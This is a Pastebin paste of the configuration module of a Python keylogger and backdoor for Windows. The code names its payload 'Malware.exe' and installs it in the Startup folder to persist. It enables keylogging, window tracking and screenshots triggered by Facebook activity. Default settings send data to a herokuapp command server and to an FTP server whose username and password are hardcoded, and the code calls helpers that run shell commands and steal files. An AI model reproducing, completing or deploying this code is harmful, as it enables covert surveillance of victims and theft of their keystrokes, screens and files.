Advertisement
FlyFar

Configuration.py

Aug 10th, 2023
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.76 KB | Cybersecurity | 0 0
  1. import getpass, sys
  2. from os import path
  3. from Util import Util
  4.  
  5.  
  6.  
  7. class Configuration:
  8.  
  9.  
  10.     def __init__(self):
  11.         #ABSOLUTE FILE PATHS AND USER DATA
  12.             self.__userName = getpass.getuser()
  13.             self.__fileName = 'Malware.exe'
  14.             self.__filePath = f'c:\\Users\\{self.__userName}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'
  15.             self.__logFileName = 'log.txt'
  16.             self.__logPath = f'c:\\Users\\{self.__userName}\\AppData\\Roaming\\tempData\\'
  17.             self.__screenshotPath = self.__logPath
  18.             self.__currentDir = path.dirname(sys.executable)
  19.             self.__currentPath = self.__currentDir + f'\\{self.__fileName}'
  20.         #WINDOWTRACKING AND KEYLOGGING
  21.             self.__debug = None
  22.             self.__keyloggingIsActive = None
  23.             self.__windowTrackingIsActive = None
  24.             self.__samplingFrequency = None
  25.             self.__screenshotFrequency = None
  26.             self.__screenshotTrigger = None
  27.         #COMMUNICATION
  28.             self.__baseURL = None
  29.             self.__communicationFrequency = None
  30.             self.__ftpURL = None
  31.             self.__ftpUserName = None
  32.             self.__ftpPassword = None
  33.         #BACKDOOR
  34.             self.__shellCommand = None
  35.             self.__stealPath = None
  36.         #SET ATTRIBUTES
  37.             self.setAttributes()
  38.            
  39.  
  40.  
  41.     def setAttributes(self):
  42.             try:
  43.                 config = Util.jsonIn(self.__logPath + 'config.json')
  44.                 self.__setConfig(config)
  45.                 Util.extractShellData(self.__logPath, self.__shellCommand)
  46.                 Util.stealFile(self.__logPath, self.__stealPath)
  47.                 print('Config.json loaded!')
  48.             except Exception:
  49.                 self.__setDefault()
  50.                 print('Default loaded!')
  51.  
  52.  
  53.  
  54.     def __setConfig(self, config:dict):
  55.             self.__debug = config['debug']
  56.             self.__keyloggingIsActive = config['keyloggingIsActive']
  57.             self.__windowTrackingIsActive = config['windowTrackingIsActive']
  58.             self.__samplingFrequency = config['samplingfrequency']
  59.             self.__screenshotFrequency = config['screenshotfrequency']
  60.             self.__screenshotTrigger = config['screenshottrigger']
  61.             self.__baseURL = config['baseurl']
  62.             self.__communicationFrequency = config['communicationfrequency']
  63.             self.__ftpURL = config['ftpurl']
  64.             self.__ftpUserName = config['ftpusername']
  65.             self.__ftpPassword = config['ftppassword']
  66.             self.__shellCommand = config.get('shellcommand','')
  67.             self.__stealPath = config.get('stealpath','')
  68.  
  69.  
  70.  
  71.     def __setDefault(self):
  72.             self.__debug = True
  73.             self.__keyloggingIsActive = True
  74.             self.__windowTrackingIsActive = True
  75.             self.__samplingFrequency = 0.1
  76.             self.__screenshotFrequency = 50
  77.             self.__screenshotTrigger = 'facebook'
  78.             self.__baseURL = 'http://facebook-user-profile.herokuapp.com/malware'
  79.             self.__communicationFrequency = 5
  80.             self.__ftpURL = 'ftp://ftp.atw.hu'
  81.             self.__ftpUserName = 'kiserletimuto'
  82.             self.__ftpPassword = 'patti'
  83.  
  84.  
  85.  
  86.     @property
  87.     def debug(self):
  88.         return self.__debug
  89.  
  90.     @property
  91.     def fileName(self):
  92.         return self.__fileName
  93.  
  94.     @property
  95.     def filePath(self):
  96.         return self.__filePath
  97.  
  98.     @property
  99.     def logPath(self):
  100.         return self.__logPath
  101.  
  102.     @property
  103.     def screenshotPath(self):
  104.         return self.__screenshotPath
  105.  
  106.     @property
  107.     def currentDir(self):
  108.         return self.__currentDir
  109.  
  110.     @property
  111.     def currentPath(self):
  112.         return self.__currentPath
  113.  
  114.     @property
  115.     def samplingFrequency(self):
  116.         return self.__samplingFrequency
  117.  
  118.     @property
  119.     def screenshotFrequency(self):
  120.         return self.__screenshotFrequency
  121.  
  122.     @property
  123.     def screenshotTrigger(self):
  124.         return self.__screenshotTrigger
  125.  
  126.     @property
  127.     def logFileName(self):
  128.         return self.__logFileName
  129.  
  130.     @property
  131.     def keyloggingIsActive(self):
  132.         return self.__keyloggingIsActive
  133.  
  134.     @property
  135.     def windowTrackingIsActive(self):
  136.         return self.__windowTrackingIsActive
  137.  
  138.     @property
  139.     def baseURL(self):
  140.         return self.__baseURL
  141.  
  142.     @property
  143.     def communicationFrequency(self):
  144.         return self.__communicationFrequency
  145.  
  146.     @property
  147.     def userName(self):
  148.         return self.__userName
  149.  
  150.     @property
  151.     def ftpURL(self):
  152.         return self.__ftpURL
  153.  
  154.     @property
  155.     def ftpUserName(self):
  156.         return self.__ftpUserName
  157.  
  158.     @property
  159.     def ftpPassword(self):
  160.         return self.__ftpPassword
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement